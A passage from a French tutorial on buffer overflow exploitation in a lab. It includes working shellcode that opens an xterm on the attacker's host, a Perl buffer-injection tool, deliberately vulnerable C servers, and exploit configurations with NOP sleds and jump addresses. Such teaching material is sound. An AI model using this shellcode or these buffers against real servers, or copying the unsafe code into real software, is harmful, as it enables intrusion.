Démonstration buffer overflow

Embed Size (px)

Citation preview

  • 7/23/2019 Dmonstration buffer overflow

    1/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 1 -

    Ghorg0re/3ey---

    Dmonstrations pratiques de buffer overflows

    Ou la compromission dun systme par une simple erreur de programmation

    DisclamerAvant toute lecture de ce document et utilisation du code/des programmes fournis dans ce dossier, le lecteur doitaccepter les conditions suivantes :

    Il reconnat connatre le sujet de ce dossier Lexploitation de buffer overflows et le lire en pleineconnaissance de cause.

    Il accepte tre le seul et unique responsable des exprimentations menes partir de ce dossier et dgagepar consquent lauteur de toute responsabilit en cas de dgts, mme sils interviennent en suivant pointpar point les tests dcrits dans cette documentation.

    Utilisation dans le cadre priv (rseau priv du lecteur) :o Les codes fournis peuvent tre modifis, rutiliss ou adapts.o Les documents restent la proprit de lauteur.

    Utilisation hors du cadre priv (hors du rseau priv du lecteur) :o Aucune partie de ce dossier (documents ou codes) ne doit tre utilise ou inspirer des actions

    illgales (piratage, intrusion,).o Toute publication (ou action) citant (ou sappuyant) sur des lments de ce dossier devront faire

    lobjet dune demande et dun accord explicite de la part de lauteur.

  • 7/23/2019 Dmonstration buffer overflow

    2/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 2 -

    Introduction _________________________________________________________________________ 3

    Cadre de ltude______________________________________________________________________ 4

    Outils necessaires __________________________________________________________________________4Plateformes. ______________________________________________________________________________4Outils. ___________________________________________________________________________________4

    Prsentation de loutil injecter.pl_______________________________________________________________4

    Exemple de buffer overflows sous Linux_________________________________________________ 6

    Cration du shellcode dexploitation ___________________________________________________________6Environnement de cration.___________________________________________________________________6Ecriture du shellcode. _______________________________________________________________________6En pratique : cration du shellcode. ____________________________________________________________7

    Exploitation du serveur 1: Stack Overflow avec Shellcode after. ____________________________________9Plate-forme de test. _________________________________________________________________________9Programme vulnrable ______________________________________________________________________9Etude de la vulnrabilit ____________________________________________________________________12Analyse de lexploit ________________________________________________________________________12Exploitation du serveur _____________________________________________________________________12

    Exploitation du serveur 2: Stack Overflow avec Shellcode before. __________________________________14

    Plate-forme de test. ________________________________________________________________________14Programme vulnrable _____________________________________________________________________14Etude de la vulnrabilit ____________________________________________________________________16Analyse de lexploit ________________________________________________________________________17Exploitation du serveur _____________________________________________________________________18

    Exploitation du serveur 3: Heap overflow. ______________________________________________________19Plate-forme de test. ________________________________________________________________________19Implmentation de la librairie GNU C __________________________________________________________19Principe de lexploitation du dbordement. ______________________________________________________20Programme vulnrable _____________________________________________________________________22Le shellcode. _____________________________________________________________________________26

    Exploitation du serveur _____________________________________________________________________27

    Conclusion sur lexploitation sous Linux_______________________________________________________29

    Exploitation sous Windows ___________________________________________________________30

    Cration du shellcode dexploitation __________________________________________________________30Principe du shellcode. ______________________________________________________________________30Gnration de shellcode.pm._________________________________________________________________36

    Exploitation dun stack overflow : crasement de ladresse de retour._______________________________36Plate-forme de test. ________________________________________________________________________36Programme vulnrable _____________________________________________________________________36Cas de la compilation sous Visual C++ 6.0 ______________________________________________________40Cas de la compilation sous Visual C++ .net _____________________________________________________45

    Exploitation dun heap overflow pour corrompre une VTABLES : Les limites de loption /GS ____________47

    Rappel sur les VTABLES. ___________________________________________________________________47Plate-forme de test. ________________________________________________________________________49Programme vulnrable _____________________________________________________________________49Etude de la vulnrabilit ____________________________________________________________________53Exploitation du serveur _____________________________________________________________________54

    Conclusion sur lexploitation sous Windows____________________________________________________55

    Contournement des quipements de filtrages ____________________________________________ 56

    Les quipements de filtrage : Concepts________________________________________________________56

    Contournement du firewall personnel _________________________________________________________56

    Dmonstration pratique _____________________________________________________________________57

    Conclusion gnrale. ________________________________________________________________58

    Rfrences. ________________________________________________________________________ 59

  • 7/23/2019 Dmonstration buffer overflow

    3/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 3 -

    Introduction

    Si les buffer overflows ne sont statistiquement pas les failles les plus exploites, elles sont nanmoins parmi les plusclbres. Cette triste renomm vient sans doute de leur porte : en terme de compromission de la machine vulnrableo lexploitation peut aller jusqu la prise de contrle distance, en terme de propagation au sein des rseaux si lafaille touche un composant ou une application prsent sur un grand nombre de machines. Les rcentes attaquesvirales comme sasser ou msblast montre la puissance dinfections bases sur des vulnrabilits prsentant ces deux

    caractristiques.

    Le principe est donc bien connu : Une application rserve un espace mmoire pour stocker une donne externe1,

    mais la taille de cette donne peut dpasser celle de la zone rserve. Il est alors possible dcrire dans les zonesmmoires adjacentes celle rserve, ce qui peut conduire diffrents rsultats : Modification du comportement,plantage de lapplication, ou bien sr excution de code arbitraire.Malheureusement, si le principe est connu, le processus de dbordement est moins souvent dcortiqu et lespossibilits et difficults de ce type dattaque trop rarement expliques.

    De trs nombreux articles prsentent pourtant la thorie des buffer overflows en dtail, mais ils se focalisentgnralement sur le concept de dbordement et non sur la dmonstration pratique de lexploitation. Lobjectif de cedossier est donc de prsenter des exemples concrets dexploitation de dbordement de buffer sur des cas dcoles.Les programmes vulnrables sont des serveurs dvelopps pour cette tude effectuant certaines oprationssymboliques.Les exploitations conduiront une prise de contrle distance du serveur vulnrable. Sous Linux, elle consistera enune ouverture de shell en remote display et sous Windows lexcution dun command.exe distant.

    Le but est bien de prsenter des cas concrets ; nous ne nous attarderons donc pas sur la thorie (assembleur,notions de stack et de heap, appel de fonction,). Cet article suppose donc que le lecteur ait un minimum deconnaissance en la matire. A noter que quelques infos sont disponibles ce sujet dans le power point associ.

    Cette tude portera dabord sur des exemples dexploitation sous Linux, puis sous Windows, domaine nettementmoins document sur le net.Voici le plan :

    Exploitation sous Linux.o Exploitation de stack overflow.

    Exploitation par un buffer shellcode after . Exploitation par un buffer shellcode before .

    o Exploitation de heap overflow. Exploitation sous Windows

    o Exploitation dun stack overflow par crasement de ladresse de retour. Cas dune compilation avec Visual C++ 6.0 : Exploitation directe Cas dune compilation avec Visual .net : Loption /GS

    o Prsentation dune corruption de la VTABLES : Les limites de loption /GS Cas des quipements de filtrage

    o Contournement du filtrage des flux sortants par un firewall personnel : lillusion de scurit.

    1Une donne envoye par un systme externe (utilisateur, application cliente,)

  • 7/23/2019 Dmonstration buffer overflow

    4/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 4 -

    Cadre de ltude

    Outils necessaires

    Plateformes.

    Pour que les dmos soient plus ralistes il est prfrable dutiliser une machine diffrente pour le serveur et pour leposte attaquant.Donc pour les exemples sous Linux, vous aurez besoin de :

    Un poste sous Linux pour les serveurs. Les tests on t faits avec une Red Hat 9 (noyau 2.4). Un poste sous Linux ou sous Windows + serveur X pour lattaquant.

    Et pour les exemples sous Windows : Deux postes sous Windows. Les tests on t faits avec Windows XP Pro (SP1, dernire mise jour).

    Outils.

    Si vous voulez utiliser injecter.pl (voir ci dessous), vous devez installer PERL.Pour les exemples sous Windows, vous aurez besoin de :

    MASM v8 pour la compilation de shellcode Visual 6.0 pour la compilation des serveurs / autres outils. Visual .net pour la compilation des serveurs / autres outils.

    Prsentation de loutil injecter.pl

    Les exploitations prsentes se feront distance. Cela implique donc que lattaquant envoie des buffers correctementformats au serveur.Il est relativement lourd dutiliser un programme C avec des constantes, car il faut le recompiler chaque fois que lonveut modifier le buffer envoy. De plus, la formation des trames ncessite de concatner des buffers, oprationtoujours un peu dlicate en C. Pour simplifier cela, jai dvelopp un outil qui formate un buffer suivant un fichier deconfiguration puis lenvoie au serveur.Cet outil est programm en PERL, ce qui lui permet dtre portable sur Windows et sur Linux (Attention de bienexcuter un dos2unix lors de lutilisation sous Linux).

    Dans un buffer envoy pour provoquer un dbordement, on va trouver en gnral : Un shellcode Une adresse de saut qui va craser une zone mmoire pour rediriger lexcution Des instructions NOP de padding Des octets varis.

    Loutil doit donc permettre de dfinir facilement des valeurs pour ces lments.

    Il est constitu des fichiers suivants : injecter.pl : Lexcutable PERL shellcode.pm : Le module dfinissant la variable $shellcode contenant la version binaire du shellcode *.conf : Fichiers de configuration qui dfinissent le format du buffer envoyer.

    Prenons un exemple : Vous voulez envoyer un buffer sur un serveur en coute sur le port 8080 ladresse IP192.168.1.3.

    Voici le code du fichier de configuration injecter_test.conf :SERVER_ADDR=192.168.1.3SERVER_PORT=8080JMP_ADDR=0x77F75930

    BUFFER=0x01:1|0xdeadbabe:1|NOP:167|SHELLCODE:1|JMP:1

    Les trois premires lignes dfinissent ladresse du serveur, le port dcoute et le la valeur de JMP.Ensuite la chaque ligne commenant par BUFFER envoie un buffer format suivant la description aprs le = .

    Ici, il sera constitu de : un octet 0x01 quatre octets 0xdeadbabe 167 instructions NOP

  • 7/23/2019 Dmonstration buffer overflow

    5/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 5 -

    le shellcode dfinit par la variable $shellcode dans le fichier shellcode.pm quatre octets reprsentant le saut (0x77F75930)

    Pour rsumer le format dune ligne envoyant un buffer est :BUFFER=[DATA:COUNT]+

    COUNT est le nombre de fois ou DATA est rpte. DATA est :

    NOP : Linstruction nop (0x90) JMP : La valeur de l adresse de saut SHELLCODE : le shellcode 0xXX : Loctet 0xXX 0xXXXX : Les 2 octets 0xXXXX 0xXXXXXXXX : Les 4 octets 0xXXXXXXXX

    Remarque :Les octets sont envoys aprs inversion. Donc si voulez avoir la valeur 0xdeadbabe en mmoire, vous envoyez0xdeadbabe et non 0xbebaadde.

    Le buffer est ensuite envoy via la commande suivante :injecter.pl f injecter_test.conf

    injecter.pl admet un certain nombre de paramtres :

    injecter.pl -h

    -==================================--= injecter.pl =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================-

    -= ghorg0re/3ey's injecter tool =-

    Description:injecter.pl is a small that allow you to build quickly frames to exploit buffer/heap

    overflow

    Options:* -h = print this help* -s [SERVER] = Connect to [SERVER]. Overwrite directive SERVER_ADDR* -p [PORT] = Connect to [PORT]. Overwrite directive SERVER_PORT* -j [JMP_ADDR] = Set jump adress to [JMP_ADDR]. Overwrite directive JMP_ADDR* -f [FILE] = Use [FILE] as configuration file. Default: injecter.conf* -r = start exchange with a recv. Use this options if server send a welcome

    message after connect.

    Cet outil est relativement simple, mais il facilite grandement lexploitation des serveurs suivants. Je vous conseillefortement de lutiliser ou de dvelopper un quivalent.

  • 7/23/2019 Dmonstration buffer overflow

    6/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 6 -

    Exemple de buffer overflows sous Linux

    Dans cette partie, le service vulnrable sexcute sur un Linux (Red Hat 9 ; noyau 2.4).Lexploitation du dbordement devra conduire lexcution de code ouvrant un shell sur la machine distante. Lapremire tape est donc lcriture du shellcode qui sera excut.

    Cration du shellcode dexploitation

    Lexploitation tant une exploitation distante, le shellcode doit effectuer une opration permettant au client de prendrela main sur une machine distante. De trs nombreuses solutions sont possibles. Le choix du shellcode va alorsdpendre de la taille du buffer dexploitation ainsi que de larchitecture rseau et notamment des quipements defiltrage interposs entre le client et le serveur.Dans notre cas nous ne ferons quune simple ouverture de xterm en remote display. Inutile de prciser que dans unecas rel, jamais le protocole X ne serait autoris sortir et quil faudrait donc modifier ce shellcode en fonction pourcontourner les protections rseau.

    De nombreux outils permettent de gnrer des shellcodes, certainement plus petits que ceux que vous ferez.Cependant, il est indispensable que vous sachiez les crire pour pouvoir les adapter en fonction de lenvironnement.

    Environnement de cration.

    Pour la thorie sur lcriture de shellcode, de nombreux articles sont disponibles sur le net. Personnellement, jerecommande un dossier de Frdric Raynal, Christophe Blaess et Christophe Grenier [1]. Je ne reviendrai donc passur la thorie des shellcodes.Je vous recommande fortement dautomatiser la cration et le test du shellcode, surtout dans une phase dedveloppement. Voici les fichiers que jutilise dans mon environnement et que vous trouverez dans le rpertoireLINUX/SHELLCODE_BUILDER de larchive :

    buildShellCode.c : Cest dans ce fichier que le shellcode est crit. Cest un programme en C avec delassembleur inline. Lexcution du ELF conduira un access violation car dans le shellcode vousdevez gnralement faire des critures pour ajouter les 0 la fin de chanes de caractre. Or ceschanes sont actuellement dans des segments de code donc en read-only. Vous ne pouvez donc pastester directement votre shellcode.

    testShellCode.c : Un fichier gnr qui contient un programme C permettant de tester le shellcode. Pourcela, le shellcode est copi dans un tableau, donc une zone mmoire. Les critures des 0 ne

    provoqueront alors pas de access violation . extractShellCode.c : Un petit programme qui ouvre buildShellCode et extrait le shellcode sous forme de

    tableau C. Pour dterminer son emplacement, il recherche une chane AAAA puis sarrte au prochaine0.

    shellcodeBuilder.sh : Le script shell encapsulant lexcution des programmes ci dessus :o Compilation de buildShellCode.co Extraction du shellcode par extractShellCodeo Copie sous forme de tableau dans testShellCode.co Compilation de testShellCode.co Execution de testShellCode.c

    restoreEverything.sh : Un script sh permettant de restaurer tous les droits des fichiers.

    Ecriture du shellcode.

    Lcriture du shellcode se fait dans le fichier buildShellCode.c.Nous devons excuter la commande xterm . Quelques tests nous permettent darriver aux conclusions suivantes :

    Le chemin complet de la commande doit figurer : /usr/X11R6/bin/xterm Lutilisation de loption -display XXX.XXX.XXX.XXX ne fonctionne pas. Franchement je nai pas la

    moindre ide du pourquoi. Il faut donc plutt utiliser la variable denvironnement DISPLAY .Voici le code que lon obtient :

  • 7/23/2019 Dmonstration buffer overflow

    7/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 7 -

    #include

    int main(int argv, char ** argc){

    asm("begin:

    string \"AAAA\"jmp getaddr

    function:

    popl %ebx /* Recupere adresse de la commande */xor %eax, %eax

    movb %al, 0x14(%ebx)movb %al, 0x30(%ebx)

    pushl %eax /* push NULL */lea 0x15(%ebx), %ecxpushl %ecx /* push @ variable d'env DISPLAY */movl %esp, %edx /* Load @ tableau env dans edx */pushl %eax /* push NULL */

    pushl %ebx /* push @ de la commande */movl %esp, %ecx /* Load @ tableau dans ecx */

    movb $0xb, %alint $0x80

    getaddr:

    call function.shell_string:

    .string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\"/* le X a remplacer par un 0 */");

    }

    Les X reprsentent les octets remplacer par des 0.

    .string \"AAAA\" permet extractShellCode dextraire le shellcode. Le shellcode commence rellement au jmp getaddr et fini aprs le dernier X de la chane.

    Une remarque pour ceux qui dcouvre un shellcode pour la premire fois : Notez bien la taille relativement rduite ducode. Celle-ci est due la puissance de linterface noyau de Linux qui permet de lancer trs facilement un excutable.

    Le principe du shellcode en lui mme est classique : Saut en getaddr. Call en function. Le pop ebx permet de rcuprer ladresse de la chane. Les movb mettent des 0 la fin des chanes de caractres. On construit ensuite deux tableaux dans la pile :

    o Le tableau environnement contenant un pointeur vers DISPLAY et un lment nul.

    o Le tableau paramtre contenant un pointeur vers /usr//xterm et un lment nul.

    En pratique : cration du shellcode.

    Voici la plate-forme de test cible :

    Attaquant : Windows192.168.1.2

    Serveur : Linux192.168.1.3

  • 7/23/2019 Dmonstration buffer overflow

    8/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 8 -

    Voici les tapes effectuer pour obtenir le shellcode.

    Sur la machine attaquante.

    1- Copiez le rpertoire INJECTER sur la machine attaquante

    Sur le serveur.

    1- Copiez le rpertoire SHELLCODE_BUILDER sur la machine Linux.2- Lancez le script restoreEverything.sh pour restaurer les droits et remplacer les carriage return.3- Editez le fichier buildShellCode.c.launchxterm.stackoverflow qui constitue la rfrence pour lancer une

    xterm dans nos exemples de stack overflow et remplacer ladresse IP dans la ligne .shell_stringDISPLAY=192.168.001.002:0.0

    4- Copiez buildShellCode.c.launchxterm.stackoverflow en buildShellCode.c5- Lancez le script de test :

    $ ./shellcodeBuilder.sh -t

    -==================================--= shellcodeBuilder.sh =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.00 =--= Date: 17/05/2004 =--==================================-

    =======================================Building buildShellCode.c ...buildShellCode.c:5:13: warning: multi-line string literals are deprecated=======================================Extracting shellcode ...charshell[]="\xeb\x18\x5b\x31\xc0\x88\x43\x14\x88\x43\x30\x50\x8d\x4b\x15\x51\x89\xe2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x75\x73\x72\x2f\x58\x31\x31\x52\x36\x2f\x62\x69\x6e\x2f\x78\x74\x65\x72\x6d\x58\x44\x49\x53\x50\x4c\x41\x59\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x30\x31\x2e\x30\x30\x32\x3a\x30\x2e\x30\x58";// Shellcode size = 80 bytes

    =======================================Generating testShellCode.c...=======================================Building testShellCode.c ...=======================================Executing testShellCode ...

    6- Une fentre xterm souvre sur la machine attaquant (Pensez lancer le serveur X dessus !).7- Construisez le shellcode :

    $ ./shellcodeBuilder.sh -b

    -==================================--= shellcodeBuilder.sh =--= =--= ghorg0re/3ey's exploit tools =-

    -= =--= Autor: ghorg0re/3ey =--= Version: 1.00 =--= Date: 17/05/2004 =--==================================-

    =======================================Building buildShellCode.c ...buildShellCode.c:5:13: warning: multi-line string literals are deprecated=======================================Extracting shellcode ...$shellcode="\xeb\x18\x5b\x31\xc0\x88\x43\x14\x88\x43\x30\x50\x8d\x4b\x15\x51\x89\xe2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x75\x73\x72\x2f\x58\x31\x31\x52\x36\x2f\x62\x69\x6e\x2f\x78\x74\x65\x72\x6d\x58\x44\x49\x53\x50\x4c\x41\x59\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x30\x31\x2e\x30\x30\x32\x3a\x30\x2e\x30\x58";# Shellcode size = 80 bytes

    1;=======================================Writing shellcode to shellcode.pm ...

  • 7/23/2019 Dmonstration buffer overflow

    9/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 9 -

    8- Le script shellcodeBuilder.sh cr alors le fichier shellcode.pm dans le rpertoire courant.9- Copiez ce fichier sur la machine attaquante, dans le rpertoire INJECTER.

    Exploitation du serveur 1: Stack Overflow avec Shellcode after.

    Plate-forme de test.

    Pour les tests, la plate-forme suivante sera utilise :

    Programme vulnrable

    Description

    Le programme vulnrable est un petit serveur qui coute sur le port 1500. Aprs connexion, il accepte un certainnombre de commandes , envoyes suivant le format : [command] [data]Voici la liste des commandes :

    command data RsultatUSER username Test si toUpper([username])==GHORG0REBEY.

    Si cest le cas, renvoi : Welcome ghorg0re/3ey Sinon, renvoi : Unknow user

    Autre - Renvoi le message : Unknow command

    Code

    Voici le code :#include #include #include #include #include #include #include

    #define SUCCESS 0#define ERROR 1

    #define SERVER_PORT 1500#define MAX_MSG 1500#define UNKN_COMM "Unknow command\n"#define UNKN_USER "Unknow user\n"#define WELCOME_GHOR "Welcome ghorg0re/3ey\n"

    /************************************** Fonction error** Affiche le message d'erreur msg**************************************/

    void error(char *msg)

    {

    perror(msg);exit(-1);}

    /*************************************

    Attaquant : Windows192.168.1.2

    Serveur : Linux192.168.1.3

  • 7/23/2019 Dmonstration buffer overflow

    10/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 10 -

    * Fonction checkUser** Extrait lutilisateur (&szBuffer[5])* Effectue un ToUpper et compare le rsultat avec GHORG0REBEY**************************************/

    int checkUser(char *szBuffer)

    { char szUser[50];int i;

    bzero(szUser, sizeof(szUser));strcpy(szUser, &szBuffer[5]);for(i=0;i 'a') && (szUser[i] < 'z'))

    szUser[i] -= 0x20;}

    if(!strncmp(szUser, "GHORG0REBEY", strlen("GH0RG0REBEY")))return 0;

    return 1;}

    /************************************** Fonction main** Cree un serveur en ecoute sur le port SERVER_PORT**************************************/

    int main (int argc, char *argv[])

    {int socketfd, newSocketfd, cliLen;struct sockaddr_in cliAddr, servAddr;

    char szBuffer[MAX_MSG];int n;

    printf("Current stack: 0x%x\n",szBuffer);

    // Cree socketif((socketfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

    error("Cannot open socket ");

    // Bind sur le portservAddr.sin_family = AF_INET;servAddr.sin_addr.s_addr = htonl(INADDR_ANY);servAddr.sin_port = htons(SERVER_PORT);

    if(bind(socketfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) 0){

  • 7/23/2019 Dmonstration buffer overflow

    11/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 11 -

    if(!strncmp(szBuffer, "USER ", strlen("USER "))){

    if(!checkUser(szBuffer)){

    if((n = write(newSocketfd, WELCOME_GHOR, strlen(WELCOME_GHOR)))< 0)

    error("ERROR writing to socket");}

    else{if((n = write(newSocketfd, UNKN_USER, strlen(UNKN_USER))) < 0)

    error("ERROR writing to socket");}

    }else{

    if((n = write(newSocketfd, UNKN_COMM, strlen(UNKN_COMM))) < 0)error("ERROR writing to socket");

    }

    bzero(szBuffer, sizeof(szBuffer));}exit(0);

    }

    Test du serveur.

    Sur la machine Linux.

    1- Allez dans le rpertoire VULN_SERVER_BUFFER_OVERFLOW2- Compilez le serveur server_after :

    gcc server_after.c -o server_after

    3- Lancez le serveur$ ./server_after

    Current stack: 0xbfffdf80./server_after: waiting for data on port TCP 1500

    Sur la machine attaquante.1- Allez dans le rpertoire INJECTER2- Modifiez le fichier de configuration linux_stack_overflow_after_testsrv.conf pour quil reflte larchitecture :

    SERVER_ADDR=192.168.1.3SERVER_PORT=1500

    BUFFER=USER ghorg0reBey:1

    3- Lancer le script injecter.pl partir dun cmd.exeinjecter.pl -f linux_stack_overflow_after_testsrv.conf -r

    -==================================--= injecter.pl =--= =-

    -= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================---------------------------------------------------Server welcome

    Data received:"Welcome to ghorg0re/3ey server"----------------------------------------------------------------------------------------------------Packet number 0

    Data to send:"USER ghorg0reBey"Sending Data...Data received:"Welcome ghorg0re/3ey"--------------------------------------------------

  • 7/23/2019 Dmonstration buffer overflow

    12/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 12 -

    Etude de la vulnrabilit

    La vulnrabilit se trouve au niveau de la fonction checkUser : Pour effectuer le toUpper sans modifier le bufferdorigine, le programme copie [username] dans un buffer de taille 50, sans vrifier la longueur de [username].

    Pour vrifier si ce programme est exploitable, on lance le serveur en mode debug sous gdb :On positionne un breakpoint sur la fonction checkUser, puis on dmarre le processus :

    $ gdb server_after

    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)Copyright 2003 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux-gnu"...(gdb) b checkUser

    Breakpoint 1 at 0x80486a8(gdb) r

    Starting program: server_afterCurrent stack: 0xbffff200server_after: waiting for data on port TCP 1500

    On connecte un client en telnet et on envoie une centaine de A. Lexcution sarrte sur le breakpoint. On tracejusquau ret :

    (gdb) x /3xw $esp

    0xbffff1dc: 0x41414141 0x41414141 0x41414141

    Ladresse de retour a bien t crase par nos A. Le programme est donc bien exploitable.

    Analyse de lexploit

    Structure du buffer.

    Nous sommes ici vraiment en prsence dun cas dcole :Le buffer reue par la socket est trs grand (1500 octets) a comparer de celui utilis pour faire le dbordement (50octets). Nous pouvons donc facilement utiliser une injection ayant lallure suivante :

    Taille max = 1500 octets@ de saut NOP Shellcode

    Le shellcode est situ aprs ladresse de retour, do le nom de shellcode after

    Dtermination du nombre dadresse de saut et de nops.

    Dans ce cas, les valeurs peuvent tre value sans trop de prcision : Nous devons craser ladresse de retour par @ de saut, donc nous mettons 20 @ de saut (80 octets) Ensuite nous mettons un maximum de NOP pour accrotre la probabilit que @ de saut nous fasse sauter

    dans cette partie. Par exemple nombre de NOP = 1200

    Dtermination de ladresse de saut.

    Ladresse de la pile change chaque excution, mais comme la marge derreur est relativement grande (1200octets), il est assez facile de tomber sur une bonne adresse de saut au bout de quelques essais.Pour nous faciliter la tche, jaffiche un ordre de grandeur de la valeur pile. On utilisera cette valeur comme adressede saut.

    Exploitation du serveur

    Sur la machine Linux.

    1- Lancez le serveur$ ./server_after

    Current stack: 0xbfffd750./server_after: waiting for data on port TCP 1500

    Ladresse de pile est alors 0xbfffd750.

  • 7/23/2019 Dmonstration buffer overflow

    13/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 13 -

    Sur la machine attaquante.

    1- Editez le fichier de configuration linux_stack_overflow_after_exploit.conf :SERVER_ADDR=192.168.1.3SERVER_PORT=1500

    BUFFER=USER :1|JMP_ADDR:20|NOP:1200|SHELLCODE:1

    2- Lancez injecter.pl en passant ladresse de saut dans la commande pour viter de modifier le fichier de

    configuration chaque test :injecter.pl -f linux_stack_overflow_after_exploit.conf -r -j 0xbfffd750

    -==================================--= injecter.pl =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================---------------------------------------------------Server welcome

    Data received:"Welcome to ghorg0re/3ey server"----------------------------------------------------------------------------------------------------Packet number 0

    Data to send:"USERP P P P P P P P P P P P P P P P P P P P [...][1CC0PKQPS/usr/X11R6/bin/xtermXDISPLAY=192.168.001.002:0.0X"Sending Data...Data received:""

    3- Une fentre xterm souvre alors sur le client. Elle possde bien sur les droits de lutilisateur sous lequeltournait le serveur. Si vous faites un ps, vous verrez un processus /usr/X11R6/bin/xterm qui reprsentelxterm que vous avez lanc par le buffer overflow. Le pid est le mme que celui du serveur lorigine puisquele service 0xb de lint 80h (execXX) remplace limage du processus courant par le programme lanc.

  • 7/23/2019 Dmonstration buffer overflow

    14/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 14 -

    Exploitation du serveur 2: Stack Overflow avec Shellcode before.

    Plate-forme de test.

    Pour les tests, la plate-forme suivante sera utilise :

    Programme vulnrable

    Description

    Le programme vulnrable est un petit serveur qui coute sur le port 1500. Son rle est simplement dafficher lesmessages envoys par le client, prcd de la chane Message from remote client : , puis de renvoyer unmessage I got your message au client.

    Code

    Voici le code :#include #include #include #include #include

    #include #include

    #define SUCCESS 0#define ERROR 1

    #define SERVER_PORT 1500#define MAX_MSG 100#define MSG_ACK "I got your message\n"

    /************************************** Fonction error** Affiche le message d'erreur msg**************************************/

    void error(char *msg)

    {perror(msg);exit(-1);

    }

    /************************************** Fonction printMsg** Affiche le message envoy par lutilisateur concatn avec* Message from remote client :

    **************************************/

    void printMsg(char *szBuffer)

    Attaquant : Windows192.168.0.2

    Serveur : Linux192.168.0.3

  • 7/23/2019 Dmonstration buffer overflow

    15/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 15 -

    {char szMsg[MAX_MSG];

    sprintf(szMsg, "Message from remote client :%s\n", szBuffer);printf(szMsg);

    }

    /*************************************

    * Fonction main** Cree un serveur en ecoute sur le port SERVER_PORT**************************************/

    int main (int argc, char *argv[])

    {int socketfd, newSocketfd, cliLen;struct sockaddr_in cliAddr, servAddr;char szBuffer[MAX_MSG];int n;

    printf("Current stack: 0x%x\n",szBuffer);

    // Cree socketif((socketfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

    error("Cannot open socket ");

    // Bind sur le portservAddr.sin_family = AF_INET;servAddr.sin_addr.s_addr = htonl(INADDR_ANY);servAddr.sin_port = htons(SERVER_PORT);

    if(bind(socketfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) 0)

    {printMsg(szBuffer);bzero(szBuffer, sizeof(szBuffer));

    if((n = write(newSocketfd, MSG_ACK ,strlen(MSG_ACK))) < 0)error("ERROR writing to socket");

    }exit(0);

    }

    Test du serveur.

    Sur la machine Linux.

    1- Allez dans le rpertoire VULN_SERVER_BUFFER_OVERFLOW2- Compilez le serveur server_after :

    gcc server_before.c -o server_before

    3- Lancez le serveur

  • 7/23/2019 Dmonstration buffer overflow

    16/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 16 -

    $ ./server_before

    Current stack: 0xbfffe3f0./server_before: waiting for data on port TCP 1500

    Sur la machine attaquante.

    1- Allez dans le rpertoire INJECTER2- Modifiez le fichier de configuration linux_stack_overflow_before_testsrv.conf pour quil reflte

    larchitecture :SERVER_ADDR=192.168.1.3SERVER_PORT=1500

    BUFFER=HELLO:1

    3- Lancer le script injecter.pl partir dun cmd.exeinjecter.pl -f linux_stack_overflow_before_testsrv.conf -r

    -==================================--= injecter.pl =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =-

    -= Version: 1.06 =--= Date: 17/05/2004 =--==================================---------------------------------------------------Server welcome

    Data received:"Welcome to ghorg0re/3ey server"----------------------------------------------------------------------------------------------------Packet number 0

    Data to send:"HELLO"Sending Data...Data received:"I got your message

    "--------------------------------------------------

    Etude de la vulnrabilit

    La vulnrabilit se trouve au niveau de la fonction printMsg : Contrairement la premire partie, le dveloppeur bien pens mettre les buffer source et destination la mme taille, mais il a oubli quil ajoute un certain nombredoctets en dbut de buffer, correspondant Message from remote client : .Pour vrifier si ce programme est exploitable, on lance le serveur en mode debug sous gdb :On positionne un breakpoint sur la fonction printMsg, puis on dmarre le processus :

    $ gdb server

    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)Copyright 2003 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux-gnu"...(gdb) disassemble printMsg

